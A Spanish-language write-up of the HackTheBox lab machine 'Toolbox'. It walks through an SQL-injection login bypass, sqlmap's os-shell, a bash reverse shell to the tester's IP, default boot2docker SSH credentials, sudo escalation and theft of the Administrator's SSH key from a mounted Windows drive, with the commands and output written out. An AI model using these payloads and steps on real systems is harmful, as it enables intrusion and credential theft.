Máquina muy interesante de dificultad fácil de la plataforma HackTheBox, donde podremos practicar con entornos Docker dentro de un host de Windows.

Index
Recon
Lo primero que hacemos es nuestros escaneos de rigor con Nmap para ver qué puertos tenemos accesibles:
└─$ sudo nmap -p- --min-rate 1000 -v -oA nmap_initial 10.129.232.166
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-04 09:59 EDT
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.55 seconds
Raw packets sent: 65551 (2.884MB) | Rcvd: 65536 (2.621MB)
Y ahora lanzamos el escaneo más profundo sobre los puertos que tenemos a la vista:
└─$ sudo nmap -sC -sV -O -Pn -n -p 21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 -oA nmap_versions 10.129.232.166
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-04 10:00 EDT
Nmap scan report for 10.129.232.166
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open tcpwrapped
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows 10 1709 - 1909 (92%), Microsoft Windows Longhorn (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%), Microsoft Windows Server 2016 (90%), Microsoft Windows 10 1703 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-10-04T14:01:52
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.23 seconds
Vemos varias cosas interesantes, pero por ahora las 2 más llamativas y accesibles son el FTP y un subdominio que nos ha dado el certificado SSL.
Si accedemos al FTP como user 'anonymous':
└─$ ftp -p 10.129.232.166
Connected to 10.129.232.166.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.129.232.166:kali): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
ftp> ls
227 Entering Passive Mode (10,129,232,166,233,6)
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
226 Successfully transferred "/"
ftp>
Ahora mismo no podemos hacer nada con este archivo pero nos sirve de pista muy útil para lo que nos espera más adelante. Quedémonos con el nombre: docker-toolbox.
Vamos a echar un ojo a la app web que aloja la máquina:

No vemos nada relevante así que pasamos a añadir el nuevo subdominio que encontramos en el certificado SSL del puerto 443 a nuestro archivo hosts:
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.129.232.166 toolbox.htb
10.129.232.166 admin.megalogistic.com
Y ahora vemos que nos encontramos:

Vaya vaya... un panel de admin.
Foothold
Lo primero a intentar en estos casos es probar si el formulario es susceptible a inyección SQL:

Parece que explotó, así que para nosotros, es buena señal. De aquí podemos extraer un par de detalles interesantes.
El primero de todos es la query que el propio formulario lanza cuando intentamos hacer login, lo que podemos presuponer:
SELECT * FROM users WHERE username = '$USER' AND password = md5('$PASSWORD');
Si esto es cierto, a parte de que las contraseñas en la BBDD están guardadas en formato MD5, el login sería accesible si ponemos la siguiente payload como inyección:
admin' -- -
Pero antes de probar, la máquina inicial nos marcaba como Windows, en cambio la BBDD contra la que se comprueba el formulario de admin está en una ruta propia de sistemas UNIX, no Windows.
Quizás nos encontremos en una instancia virtualizada, tengámoslo en cuenta.
Ahora si, vamos a introducir nuestra pequeña payload a ver si conseguimos acceder:

Exactamente, hemos conseguido acceder.
Tras navegar un poco por la web no vemos nada relevante, no podemos activar ni subir nada, y lo único que encontramos es una pequeña lista de tareas dónde se habla de un usuario al que se le tienen que pasar unas credenciales.
Después de dar varias vueltas, se me ocurre probar si podriamos ejecutar código remoto aprovechando la inyección SQL que hemos descubierto antes.
Vamos a usar SQLMap capturando en un archivo TXT la request POST desde Burpsuite :
└─$ sqlmap -r post.txt --risk=3 --level=3 --batch --force-ssl
___
__H__
___ ___[)]_____ ___ ___ {1.5.9#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:53:16 /2021-10-04/
[13:53:16] [INFO] parsing HTTP request from 'post.txt'
[13:53:17] [INFO] resuming back-end DBMS 'postgresql'
[13:53:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=71d284922ef...f0287b5b19'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-8289' OR 5442=5442-- HaHm&password=admin
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: username=admin' AND 1031=CAST((CHR(113)||CHR(113)||CHR(113)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (1031=1031) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(112)||CHR(98)||CHR(113)) AS NUMERIC)-- esIT&password=admin
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: username=admin';SELECT PG_SLEEP(5)--&password=admin
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: username=admin' AND 1985=(SELECT 1985 FROM PG_SLEEP(5))-- mqNC&password=admin
---
[13:53:17] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Debian 10 (buster)
web application technology: PHP, Apache 2.4.38, PHP 7.3.14
back-end DBMS: PostgreSQL
[13:53:17] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/admin.megalogistic.com'
[*] ending @ 13:53:17 /2021-10-04/
Confirmamos la inyección y el tipo de BBDD que se presenta como PostgreSQL.
Me queda pendiente intentar la inyección sin usar SQLmap como ejercicio ya que no está permitido su uso en la OSCP
SQLmap tiene un switch que nos permite la obtención de una shell parcial, aunque no suele funcionar, pero probamos:
└─$ sqlmap -r post.txt --risk=3 --level=3 --batch --force-ssl --os-shell
[...]
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] Y
[13:54:51] [INFO] retrieved: 'postgres'
command standard output:
---
p
o
s
t
g
r
e
s
---
os-shell>
Pero estamos de suerte, y tenemos shell, una bastante "parcial" pero podemos probar a lanzar desde aquí una reverse shell completa que nos permita escalar desde dentro del sistema.
Lanzamos nuestra payload de conexión y configuramos un listener:
os-shell> bash -c 'bash -i >& /dev/tcp/10.10.14.139/9999 0>&1'
└─$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.139] from (UNKNOWN) [10.129.232.166] 57733
bash: cannot set terminal process group (1066): Inappropriate ioctl for device
bash: no job control in this shell
postgres@0a48bf656b90:/var/lib/postgresql/11/main$
Priv-Esc
Lo primero ahora es obtener información del sistema en el que estamos:
uname -a
Linux 0a48bf656b90 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
Podemos confirmarlo, nos encontramos en una instancia de docker.
Lo más sensato en este punto y dado que no tengo experiencia previa en estos environments, es buscar información sobre esta distribución de docker.
Tras unos minutos investigando, parece ser que esta distribución viene con unas credenciales por defecto que merece la pena probar.

¿Pero dónde?
El sistema en sí está bastante vacío, por lo que la salida tiene que estar por otro lado al habitual.
Si esto realmente es una instancia o un contenedor, debe estar conectado a un host o en su defecto, a otra instancia, por motivos administrativos, así que si echamos un ojo a la configuración de red:
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 219173 bytes 31482368 (30.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 199393 bytes 76343960 (72.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 18473 bytes 5135416 (4.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 18473 bytes 5135416 (4.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Vemos que la instancia tiene una salida en la red 172.17.0.0, una IP de clase B. Si está conectada a algo, seguramente lo esté a través de 172.17.0.1 (la dirección más común de la gateway).
Probemos a conectarnos mediante SSH usando las credenciales anteriores:
ssh docker@172.17.0.1
tcuser
( '>')
/) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY.
(/-_--_-\) www.tinycorelinux.net
whoami && ifconfig && uname -a
whoami && ifconfig && uname -a
docker
docker0 Link encap:Ethernet HWaddr 02:42:EF:A5:84:C0
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
inet6 addr: fe80::42:efff:fea5:84c0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:199444 errors:0 dropped:0 overruns:0 frame:0
TX packets:219206 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:73558755 (70.1 MiB) TX bytes:31487375 (30.0 MiB)
eth0 Link encap:Ethernet HWaddr 08:00:27:F2:5E:BE
inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fef2:5ebe/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1329 errors:0 dropped:0 overruns:0 frame:0
TX packets:3255 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:101455 (99.0 KiB) TX bytes:342026 (334.0 KiB)
eth1 Link encap:Ethernet HWaddr 08:00:27:2C:6D:87
inet addr:192.168.99.100 Bcast:192.168.99.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe2c:6d87/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:218369 errors:0 dropped:0 overruns:0 frame:0
TX packets:212341 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:32019957 (30.5 MiB) TX bytes:89544199 (85.3 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
vethbfd5fba Link encap:Ethernet HWaddr 7E:33:D8:DB:47:EB
inet6 addr: fe80::7c33:d8ff:fedb:47eb/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:199444 errors:0 dropped:0 overruns:0 frame:0
TX packets:219226 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:76350971 (72.8 MiB) TX bytes:31488871 (30.0 MiB)
Linux box 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
Acertamos. Pero parece ser que aún seguimos en una instancia de Docker, aunque seguramente ahora estemos muy muy cerca del host de Windows, que es el que nos interesa.
Lo primero que llama la atención es esto:
ls -al /
total 244
drwxr-xr-x 17 root root 440 Oct 4 14:01 .
drwxr-xr-x 17 root root 440 Oct 4 14:01 ..
drwxr-xr-x 2 root root 1420 Oct 4 13:58 bin
drwxr-xr-x 3 root root 60 Oct 4 14:01 c
drwxrwxr-x 14 root staff 4340 Oct 4 13:58 dev
drwxr-xr-x 9 root root 1000 Oct 4 14:01 etc
drwxrwxr-x 4 root staff 80 Oct 4 13:58 home
-rwxr-xr-x 1 root root 496 Oct 19 2019 init
drwxr-xr-x 4 root root 800 Oct 4 13:58 lib
lrwxrwxrwx 1 root root 3 Oct 4 13:58 lib64 -> lib
lrwxrwxrwx 1 root root 11 Oct 4 13:58 linuxrc -> bin/busybox
drwxr-xr-x 4 root root 80 Oct 4 13:58 mnt
drwxrwsr-x 3 root staff 180 Oct 4 14:01 opt
dr-xr-xr-x 191 root root 0 Oct 4 13:58 proc
drwxrwxr-x 2 root staff 100 Oct 4 19:54 root
drwxrwxr-x 6 root staff 140 Oct 4 14:01 run
drwxr-xr-x 2 root root 1300 Oct 4 13:58 sbin
-rw-r--r-- 1 root root 241842 Oct 19 2019 squashfs.tgz
dr-xr-xr-x 13 root root 0 Oct 4 13:58 sys
lrwxrwxrwx 1 root root 13 Oct 4 13:58 tmp -> /mnt/sda1/tmp
drwxr-xr-x 7 root root 140 Oct 4 13:58 usr
drwxrwxr-x 8 root staff 180 Oct 4 13:58 var
Y esto otro:
sudo -l
User docker may run the following commands on this host:
(root) NOPASSWD: ALL
De aquí sacamos dos cosas muy críticas:
Tenemos control total sobre todo el sistema Docker
El disco del sistema C:\ de Windows está montado en el sistema Docker
Blanco y en botella.
Tenemos la bandera aquí:
find /c -type f -name root.txt 2>/dev/null
/c/Users/Administrator/Desktop/root.txt
Pero también tenemos acceso a las claves SSH del administrador:
root@box:/c/Users/Administrator/.ssh# ls -al
drwxrwxrwx 1 docker staff 4096 Feb 19 2020 .
drwxrwxrwx 1 docker staff 8192 Feb 8 2021 ..
-rwxrwxrwx 1 docker staff 404 Feb 19 2020 authorized_keys
-rwxrwxrwx 1 docker staff 1675 Feb 19 2020 id_rsa
-rwxrwxrwx 1 docker staff 404 Feb 19 2020 id_rsa.pub
-rwxrwxrwx 1 docker staff 348 Feb 19 2020 known_hosts
Aunque podamos acceder a la bandera, no podemos acceder al sistema host, así que vamos con ello.
Comprobamos si la clave privada y la clave pública se corresponden entre si, y comprobamos que la clave pública que hay dentro del archivo de llaves autorizadas se corresponde con la clave pública del directorio. Si todo se confirma, podremos acceder vía SSH al sistema host Windows como Administrador:
diff id_rsa.pub authorized_keys
ssh-keygen -y -e -f id_rsa
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "2048-bit RSA, converted by root@box from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABAQC+jhIuWD92RK0DiMNQ3GAXyRs0AX7ohgs044J6ml
+PPpFI5C8x3TxpsbKeEozOyKJUJ4miP0vwZ9JcZkh+wAhZef2fI1oN0CmgXsx+bUoi2A75
b2YzuUCuzjOAHMwZCV4iyRC9ZNwqtA10IOP0nE0huFguEleCuj67l1boRxjOrYxI5GbsD5
5d+Y+92viETTA1QjDHag4+vZ24F+bG6EvyZlBa7lTX4il7Y2/h8BRiEoZNYePihyNTAb1d
xTSIjilwdPedc8qYaOg/KI/OlrlZ2InxCkwTf3w2d7iafE5uhZOneMZonUa6dkLKJzSJLB
6ZwEmI3J9kKFOKlaYEwrzz
---- END SSH2 PUBLIC KEY ----
ssh-keygen -y -e -f id_rsa.pub
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "2048-bit RSA, converted by root@box from OpenSSH"
AAAAB3NzaC1yc2EAAAADAQABAAABAQC+jhIuWD92RK0DiMNQ3GAXyRs0AX7ohgs044J6ml
+PPpFI5C8x3TxpsbKeEozOyKJUJ4miP0vwZ9JcZkh+wAhZef2fI1oN0CmgXsx+bUoi2A75
b2YzuUCuzjOAHMwZCV4iyRC9ZNwqtA10IOP0nE0huFguEleCuj67l1boRxjOrYxI5GbsD5
5d+Y+92viETTA1QjDHag4+vZ24F+bG6EvyZlBa7lTX4il7Y2/h8BRiEoZNYePihyNTAb1d
xTSIjilwdPedc8qYaOg/KI/OlrlZ2InxCkwTf3w2d7iafE5uhZOneMZonUa6dkLKJzSJLB
6ZwEmI3J9kKFOKlaYEwrzz
---- END SSH2 PUBLIC KEY ----
Confirmado, todo corresponde.
Ahora nos llevamos la clave privada a nuestra máquina atacante y nos conectamos:
└─$ vim id_rsa
chmod 600 id_rsa
ssh -i id_rsa administrator@10.129.232.166
Y listo, tenemos el control total del sistema host Windows:

Post-Mortem
Ha sido una máquina muy muy productiva en términos de aprendizaje. La primera vez que me enfrento a Docker.
Todo ha sido bastante intuitivo exceptuando la salida a la instancia principal de Docker a través del SSH a la gateway. Ese punto me atascó bastante, pero es cierto que si lo analizas observando que no hay absolutamente nada más en el sistema y que tampoco tenemos acceso al comando fdisk -l, algo que SI ocurre una vez que estamos en el paso posterior y qué como se indica en Hacktricks, sería el primer indicio de que podemos acceder al sistema host.
La parte de las llaves SSH del administrador no es estrictamente necesaria en términos de un entorno CTF pero en un entorno real sería el paso lógico a seguir.
Descarga Notas y Reporte OSCP
Aquí os dejo las notas que he usado con cherrytree y el PDF en español e inglés en formato OSCP